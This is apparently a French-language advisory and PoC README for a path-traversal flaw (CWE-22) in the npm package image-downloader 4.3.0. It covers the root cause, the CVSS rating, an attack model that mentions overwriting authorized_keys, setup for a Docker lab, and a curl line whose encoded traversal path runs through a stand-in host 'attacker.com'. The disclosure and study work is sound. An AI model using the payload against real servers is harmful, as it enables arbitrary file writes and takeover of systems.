
Avis et PoC pour CVE-2026-103648, un path traversal (CWE-22) dans image-downloader 4.3.0 permettant l'écriture arbitraire de fichiers, avec analyse de la cause racine, diff du correctif et lab Docker.
image-downloader
Découvert par : Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ À des fins éducatives uniquement. Ce dépôt documente une vulnérabilité divulguée de manière responsable. Tout le code PoC est destiné à la recherche et aux tests de sécurité autorisés dans des environnements de laboratoire isolés uniquement. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-103648 |
| Entrée NVD | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| Score CVSS v3.1 | 9.1 Critique — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint |
| Paquet | image-downloader (npm) par demsking |
| Téléchargements npm hebdomadaires | ~11 000 (~38 000/mois) — source |
| Versions affectées | < 4.3.1 (toutes les versions, y compris 4.3.0) |
| Version corrigée | 4.3.1 |
| Attribué par | GitLab |
| Publié le | 2026-10-02 |
| Rapporteur | Amirhossein Roustaei (@EterNullSec), Eternull Security |
La vulnérabilité se situe dans la logique d'extraction du nom de fichier de [email protected]. Voici le code source réel de la version affectée (index.js, extrait directement du paquet npm publié) :
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) est appelé sur le chemin d'URL encore encodé en pourcentage. Une séquence comme %2e%2e%2fpwned.sh ne contient aucun / littéral, donc path.basename() traite l'ensemble comme un seul nom de fichier et le renvoie inchangé — rien n'est supprimé.decodeURIComponent(). C'est cette étape qui retransforme %2e%2e%2f en ../ littéral — mais à ce stade, il a déjà survécu à l'étape basename censée l'assainir.path.join(options.dest, decodedBasename) est appelé avec une chaîne qui contient désormais un véritable segment ../. path.join() normalise .. de la même manière que cd .. — le chemin d'écriture final se résout donc vers un emplacement en dehors de options.dest.En résumé : le code décode le nom de fichier de la bonne manière, mais dans le mauvais ordre par rapport à path.basename(). Décoder puis appliquer basename est sûr ; appliquer basename puis décoder ne l'est pas.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
Ce laboratoire démontre le mécanisme du bug de bout en bout dans un seul script pour faciliter la reproduction, mais il convient d'énoncer explicitement le modèle d'attaque réel :
download.image({ url, dest }) de image-downloader avec une valeur url qu'elle ne contrôle pas entièrement elle-même — par exemple une URL soumise par un utilisateur (fonctionnalités d'import d'avatar/d'image), extraite d'une charge utile de webhook, ou lue depuis un flux RSS/contenu.url de la victime, et contrôle le composant de chemin de cette URL — ce qui suffit à lui seul, puisque la traversée réside dans le chemin de l'URL (%2e%2e%2f...), et non dans le corps de la réponse.authorized_keys, ou un exécutable que l'application lance ensuite).Dans exploit/exploit.py, les rôles d'attaquant et de victime sont fusionnés en un seul script pour des raisons de commodité en laboratoire (il met en place à la fois la requête du serveur « victime » et le serveur de charge utile contrôlé par l'attaquant). Dans un scénario d'exploitation réel, il s'agit de deux parties distinctes et sans lien — le PoC est structuré ainsi uniquement pour que la vulnérabilité soit reproductible avec une seule commande.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
Le serveur vulnérable sera disponible à l'adresse http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Ou manuellement avec curl (la traversée se trouve dans le chemin de l'URL, pas dans le corps de la réponse) :
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt